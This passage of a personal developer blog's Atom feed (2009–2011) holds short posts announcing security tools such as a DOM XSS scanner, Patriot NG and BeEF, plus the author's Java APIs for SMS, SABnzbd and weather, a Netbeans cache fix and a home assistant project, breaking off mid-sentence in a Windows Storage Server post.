security vulnerabilities. Enter a URL to scan the document and the included scripts for DOMXSS sources and sinks in the source code of Web pages and JavaScript files. &lt;br /&gt;&lt;br /&gt;http://www.domxssscanner.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-5707643195577251680?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/5707643195577251680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=5707643195577251680' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/5707643195577251680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/5707643195577251680'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/02/dom-xss-scanner.html' title='DOM XSS Scanner'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-1863602306420285399</id><published>2011-02-18T11:28:00.001Z</published><updated>2011-02-18T11:30:02.233Z</updated><title type='text'>Java SE 6 Update 24 released</title><content type='html'>&lt;a href="http://www.oracle.com/technetwork/java/javase/downloads/index.html"&gt;JDK 6 Update 24&lt;/a&gt; is now available to download from Oracle’s Java download page. Looking at the release notes, this is mainly a security and bug fix release. Thankfully, they have addressed the floating point parsing vulnerability which resulted in a denial of service of the JVM through excessive resource consumption.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-1863602306420285399?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/1863602306420285399/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=1863602306420285399' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1863602306420285399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1863602306420285399'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/02/java-se-6-update-24-released.html' title='Java SE 6 Update 24 released'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-7468074636090923865</id><published>2011-02-13T09:16:00.000Z</published><updated>2011-02-13T09:25:06.188Z</updated><title type='text'>Patriot NG 2.0 released</title><content type='html'>Patriot NG is a 'Host IDS' tool which allows real time monitoring of changes in Windows systems or Network attacks. It is available for Windows XP, Windows Vista, Windows 7 (32Bits &amp; 64bits)&lt;br /&gt;&lt;br /&gt;Patriot monitors:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt; Changes in Registry keys: Indicating whether any sensitive key (autorun, internet explorer settings...) is altered.&lt;br /&gt;&lt;li&gt; New files in 'Startup' directories &lt;br /&gt;&lt;li&gt; New Users in the System&lt;br /&gt;&lt;li&gt; New Services installed &lt;br /&gt;Changes in the hosts file&lt;br /&gt;&lt;li&gt; New scheduled jobs&lt;br /&gt;&lt;li&gt; Alteration of the integrity of Internet Explorer: (New BHOs, configuration changes, new toolbars)&lt;br /&gt;&lt;li&gt; Changes in ARP table (Prevention of MITM attacks)&lt;br /&gt;&lt;li&gt; Installation of new Drivers&lt;br /&gt;&lt;li&gt; New Netbios shares&lt;br /&gt;&lt;li&gt; TCP/IP Defense (New open ports, new connections made by processes, PortScan detection...)&lt;br /&gt;&lt;li&gt; Files in critical directories (New executables, new DLLs...)&lt;br /&gt;&lt;li&gt; New hidden windows (cmd.exe / Internet Explorer using OLE objects)&lt;br /&gt;&lt;li&gt; Netbios connections to the System&lt;br /&gt;&lt;li&gt; ARP Watch (New hosts in your network)&lt;br /&gt;&lt;li&gt; NIDS (Detect anomalous network traffic based on editable rules)&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Download: &lt;a href="http://www.security-projects.com/?Patriot_NG:Download"&gt;http://www.security-projects.com/?Patriot_NG:Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Documentation: &lt;a href="http://www.security-projects.com/ManualPatriot-NG2.0EN.pdf"&gt;http://www.security-projects.com/ManualPatriot-NG2.0EN.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Video demo: &lt;a href="http://vimeo.com/19798452"&gt;http://vimeo.com/19798452&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-7468074636090923865?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/7468074636090923865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=7468074636090923865' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7468074636090923865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7468074636090923865'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/02/patriot-ng-20-released.html' title='Patriot NG 2.0 released'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-8593948252124690668</id><published>2011-02-13T09:13:00.001Z</published><updated>2011-02-13T09:13:32.480Z</updated><title type='text'>BeEF v.0.4.2.2-alpha Released</title><content type='html'>BeEF, the Browser Exploitation Framework is a professional security tool provided for lawful research and testing purposes. It allows the experienced penetration tester or system administrator additional attack vectors when assessing the posture of a target. The user of BeEF will control which browser will launch which command module and at which target. &lt;br /&gt;&lt;br /&gt;BeEF hooks one or more web browsers as beachheads for the launching of directed command modules in real-time. Each browser is likely to be within a different security context. This provides additional vectors that can be exploited by security professionals. &lt;br /&gt;BeEF provides a professional and simple user interface. It is easy to deploy and is implemented in Ruby so it will run on most Operating Systems. The framework contains various command modules which employ BeEF's simple API. This API facilitates quick development of custom modules by the user. &lt;br /&gt;&lt;br /&gt;Download: http://code.google.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-8593948252124690668?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/8593948252124690668/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=8593948252124690668' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/8593948252124690668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/8593948252124690668'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2011/02/beef-v0422-alpha-released.html' title='BeEF v.0.4.2.2-alpha Released'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-5485558207420892604</id><published>2010-07-04T15:10:00.000+01:00</published><updated>2010-07-04T15:13:13.976+01:00</updated><title type='text'>SABnzbd Java API version 0.2</title><content type='html'>I have now released another Google Code Project in relation to Sabnzbd. This is a Java API that consumes Sabnzbd server functions. It supports alot of functionality at the moment, querying all information about the server and downloads and also supports other functions such as adding downloads, pausing and resuming the server.&lt;br /&gt;&lt;br /&gt;More detail can be found on the Google Code Project here:&lt;br /&gt;&lt;br /&gt;http://code.google.com/p/jsabnzbd/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-5485558207420892604?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/5485558207420892604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=5485558207420892604' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/5485558207420892604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/5485558207420892604'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2010/07/sabnzbd-java-api-version-02.html' title='SABnzbd Java API version 0.2'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-2544031416321854258</id><published>2010-02-19T22:05:00.000Z</published><updated>2010-02-20T14:39:31.235Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='sabnzbd'/><category scheme='http://www.blogger.com/atom/ns#' term='java api sabnzbd'/><category scheme='http://www.blogger.com/atom/ns#' term='sabnzbd java'/><title type='text'>SABnzbd Java API</title><content type='html'>For all you SABnzbd fans, i've got a real treat for you. I've just put together a Java API (must admit didn't take long) to support various functions that SABnzbd supports. Here is a sneak preview of what you will be able to do with the API:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;&lt;br /&gt; &lt;br /&gt;String[] nzbs = &lt;br /&gt;{"http://www.newzbin.com/browse/post/5569239/nzb",&lt;br /&gt; "http://www.newzbin.com/browse/post/5568352/nzb"};&lt;br /&gt;&lt;br /&gt;String sabURL= "http://sabserverurl";&lt;br /&gt;SABnzbd mySabServer= new SABnzbd(sabURL, "uname", "pwd");&lt;br /&gt;&lt;br /&gt;System.out.println("Current download speed: " + mySabServer.getDownloadSpeed());&lt;br /&gt;&lt;br /&gt;for(String nzb: nzbs)&lt;br /&gt;{&lt;br /&gt; mySabServer.download(nzb);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;List&lt;QueueEntry&gt; queue = mySabServer.getQueue();&lt;br /&gt;&lt;br /&gt;if (queue.isEmpty()) {&lt;br /&gt;  System.out.println("No download entries");&lt;br /&gt;} else {&lt;br /&gt;  for (QueueEntry qu : queue) {&lt;br /&gt;    System.out.println("---- New Entry --- ");&lt;br /&gt;    System.out.println("Category: " + qu.getCategory());&lt;br /&gt;    System.out.println("Name: " + qu.getName());&lt;br /&gt;    System.out.println("Reamining " + qu.getRemain());&lt;br /&gt;    System.out.println("Total:" + qu.getTotal());&lt;br /&gt;    System.out.println("ETA: " + qu.getEta());&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-2544031416321854258?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/2544031416321854258/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=2544031416321854258' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2544031416321854258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2544031416321854258'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2010/02/sabnzbd-java-api.html' title='SABnzbd Java API'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-1115619759412407554</id><published>2010-01-26T10:11:00.000Z</published><updated>2010-01-26T10:20:15.857Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java orange api'/><category scheme='http://www.blogger.com/atom/ns#' term='java sms api'/><category scheme='http://www.blogger.com/atom/ns#' term='orange api'/><title type='text'>Orange SMS API</title><content type='html'>So you own an account with Orange and you want to have the ability to send SMS using your Orange credit which you have already paid for on your monthly contract? Well I certainly did, and the API works identically to the &lt;a href="http://aboulton.blogspot.com/2009/07/t-mobile-api.html"&gt;T-Mobile API&lt;/a&gt; which I developed. So here is an example of how you would use my Java API to send an SMS through the Orange network:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;Orange orange= new Orange(&amp;quot;username&amp;quot;, &amp;quot;password&amp;quot;);&lt;br /&gt;orange.sendSMS(&amp;quot;01234567890&amp;quot;, &amp;quot;Hello World!&amp;quot;);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I have found this particularly useful as it has allowed me to load balance the sending of SMS through either the T-Mobile or Orange network. Due to both of the classes which now implement the "MobileNetwork" interface means you can program to the interface not the implementation. Now being able to utilise two separate GSM networks also improves the stability of all the applications I develop which require SMS communication. Please feel free to contact me via email if you feel this is something of interest to you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-1115619759412407554?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/1115619759412407554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=1115619759412407554' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1115619759412407554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1115619759412407554'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2010/01/orange-sms-api.html' title='Orange SMS API'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-4224720815771979955</id><published>2010-01-12T14:54:00.001Z</published><updated>2010-01-12T15:06:09.579Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='netbeans stuck'/><category scheme='http://www.blogger.com/atom/ns#' term='Netbeans not loading'/><category scheme='http://www.blogger.com/atom/ns#' term='netbeans blank screen'/><title type='text'>Netbeans IDE not loading...</title><content type='html'>For all the Netbeans fans out there (I am certainly one of them) you may have come across at some point that Netbeans will not load after the loading of modules and you may end up with a blank screen or just a basic outline of the Netbeans window. After doing some debugging to find out what is going on the best solution I have found is to delete the Netbeans cache. You can find out where your cache is stored by looking inside your Netbeans conf file and you will see an entry similar to:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;# ${HOME} will be replaced by JVM user.home system property&lt;br /&gt;netbeans_default_userdir=&amp;quot;${HOME}/.netbeans/6.7&amp;quot;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So for most Windows based users you will probably find your cache directory here:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;C:\Documents and Settings\&amp;lt;USERNAME&amp;gt;\.netbeans&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Simply remove the ".netbeans" directory (ensure Netbeans is not loaded) and you should be good to reload. Note though that you will lose configurations, for example you won't have any projects listed when you next load, also any custom services won't be listed like databases of web servers. I have found it is quick enough to put it all back in and you should be up and running again within a few minutes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-4224720815771979955?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/4224720815771979955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=4224720815771979955' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/4224720815771979955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/4224720815771979955'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2010/01/netbeans-ide-not-loading.html' title='Netbeans IDE not loading...'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-6853316264717708081</id><published>2010-01-09T10:15:00.000Z</published><updated>2010-01-09T10:52:45.030Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java weather'/><category scheme='http://www.blogger.com/atom/ns#' term='java weather api'/><category scheme='http://www.blogger.com/atom/ns#' term='weather java'/><title type='text'>Java Weather API</title><content type='html'>Knowing what is happening with the weather is always a piece of useful information worth having. After Googling around I wasn't able to find an actually Java API for the weather and I could see many others were just looking for a simple Java API to plug into their system. So I started the development with a friend, &lt;a href="http://nothingbutreboots.com/"&gt;Luke Morgan&lt;/a&gt;, and we are at the stages where the API has reached a mature level and is something we will release shortly, most likely as part of a Google Code project. The API is extremely easy to use (as it should be!) and here is an example of how it would be utilised:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;Weather weather;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;   Weather weather = WeatherStation.getWeather(&amp;quot;wirral&amp;quot;);&lt;br /&gt;}&lt;br /&gt;catch(WeatherStationException wse)&lt;br /&gt;{}&lt;br /&gt;&lt;br /&gt;   weather.getConditions();  //Returns a string, such as &amp;quot;Fog&amp;quot;, &amp;quot;Partly Cloudy&amp;quot;&lt;br /&gt;   weather.getTemperature(); //returned in degree celsius&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So as you can see, incorporating this API into any application is trivial. The API also supports the forecast for weather. So, for example, it could be successfully utilised as:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;Forecast forecast;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;   forecast = WeatherStation.getForecast(&amp;quot;wirral&amp;quot;);&lt;br /&gt;}&lt;br /&gt;catch(WeatherStationException wse&lt;br /&gt;{}&lt;br /&gt;&lt;br /&gt;   for(Weather weather: forecast.getForecast()) //returns a list of Weather (4 days)&lt;br /&gt;   {&lt;br /&gt;      System.out.println(weather.getDate() + &amp;quot; is forecast for &amp;quot; + weather.getConditions());&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This is something I have personally utilised as part of Jarvis - the virtual assistant. By utilising this API in my system I receive weather updates automatically each morning, giving me the current condition and forecast data then receiving another update at night giving me tomorrows forecast. The updates are mostly delivered using my T-Mobile API. It is further utilised by the fact that Jarvis has access to my Google Calendar, so for each event Jarvis also delivers the weather conditions.&lt;br /&gt;&lt;br /&gt;In the meantime if you would like access to this code please feel free to contact me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-6853316264717708081?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/6853316264717708081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=6853316264717708081' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6853316264717708081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6853316264717708081'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2010/01/java-weather-api.html' title='Java Weather API'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-8992681486197976352</id><published>2010-01-09T09:57:00.000Z</published><updated>2010-01-09T10:41:35.821Z</updated><title type='text'>Jarvis - The Virtual Assistant</title><content type='html'>I have been busy writing alot of Java APIs lately, specifically for plugging into an virtual assistant that I am constructing, called Jarvis. The concept behind Jarvis is that of any assistant, it is a tool who or that helps another person accomplish his goals but the beauty of a virtual assistant is one that never sleeps and they don't take a salary. Communication is always a key to successful assistants and I have accomplished this by developing a modularised communication system which utilises email, SMS and chat rooms. For example, Jarvis is currently able to communicate via email, SMS and Google Talk. Commands can be issued via any of those methods and Jarvis responds via the appropriate medium based upon my status and using some seamless intelligence. For example, if I issue a command such as "define assistant" via SMS and the definition is over 160 characters the communication control centre will find a more appropriate medium to deliver the response, for example if I am logged into Google Talk then Jarvis responds via that channel.&lt;br /&gt;&lt;br /&gt;I have been making good progress on this project over the past months, currently offloading tasks such as bank account checks (the jHSBC API mentioned below has been plugged into the Jarvis system and I receive alerts about bank account changes), and Jarvis is also plugged into my Google Calendar allowing the system to send updates via SMS to myself but also any other relevant parties who are attached to that event.&lt;br /&gt;&lt;br /&gt;Designing Jarvis has prompted me to develop many APIs in order for the system to perform a wide range of tasks. The capabilities of Jarvis so far continue to extend, most recently I have developed a Java API for Weather and an API for mapping journeys. I will be releasing more information on these APIs shortly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-8992681486197976352?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/8992681486197976352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=8992681486197976352' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/8992681486197976352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/8992681486197976352'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2010/01/jarvis-virtual-assistant.html' title='Jarvis - The Virtual Assistant'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-5688257827046356765</id><published>2009-07-30T10:21:00.000+01:00</published><updated>2010-01-16T09:55:19.796Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java sms api'/><category scheme='http://www.blogger.com/atom/ns#' term='java t-mobile api'/><category scheme='http://www.blogger.com/atom/ns#' term='tmobile api'/><title type='text'>T-Mobile API</title><content type='html'>I currently have a mobile account with T-Mobile, who give me a generous £200 worth of credit each month for £20. It is actually quite difficult to take advantage of all the credit, I usually only utilise about £100 a month of it. So I decided to take advantage of it by writing a Java API for accessing and using certain features of my T-Mobile account. I have been using my T-Mobile API in my software, such as the HSBC bot to deliver updates to myself. Using my T-Mobile API is extremely easy, here is a taster.....&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;TMobile tmobile = new TMobile(&amp;quot;username&amp;quot;, &amp;quot;password&amp;quot;);&lt;br /&gt;tmobile.sendSMS(&amp;quot;01234567890&amp;quot;, &amp;quot;Hello World!&amp;quot;);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In order to use this API you must have an account with T-Mobile (http://www.t-mobile.co.uk) and the ability to send web texts from your account. This API is reliable and stable. It is ideal for utilising it for desktop and web applications. If you would like access to this codebase please contact me via email.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-5688257827046356765?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/5688257827046356765/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=5688257827046356765' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/5688257827046356765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/5688257827046356765'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2009/07/t-mobile-api.html' title='T-Mobile API'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-692232485458921457</id><published>2009-07-12T10:57:00.000+01:00</published><updated>2009-07-12T11:08:58.808+01:00</updated><title type='text'>Windows Storage Server 2008</title><content type='html'>Yesterday I replaced my &lt;a href="http://www.freenas.org/"&gt;FreeNAS&lt;/a&gt; with &lt;a href="http://www.microsoft.com/Windowsserver2008/en/us/wss08.aspx"&gt;Windows Storage Server 2008. &lt;/a&gt;While FreeNAS is a great piece of software I finally realised it just wasn't for me, mainly because I am more comfortable within a Windows environment but there were some fairly big issues such as:&lt;br /&gt;&lt;br /&gt;1. No JVM (You would have to install Diablo on FreeNAS if you wanted one and I like to stick with Sun's JVM). I do alot of Java development and really want to customise my Storage server with custom tools.&lt;br /&gt;&lt;br /&gt;2. Bit Torrent client - Transmission is the default client and it seemed to prove a headache for many if wanting to update it. Most people just waited for the FreeNAS update which usually ships with the latest version. I wanted uTorrent back as it is by far the most lightweight, feature packed and fastest BT client I have ever used. Tranmission would only give me download speeds of around 3.5MBps but uTorrent is able to max my line at 6MBps.&lt;br /&gt;&lt;br /&gt;Oh, and one more thing, I was quite surprised when I first booted Windows Storage Server 2008 to see that if was prompting me for credentials when I have never supplied any. The default password is 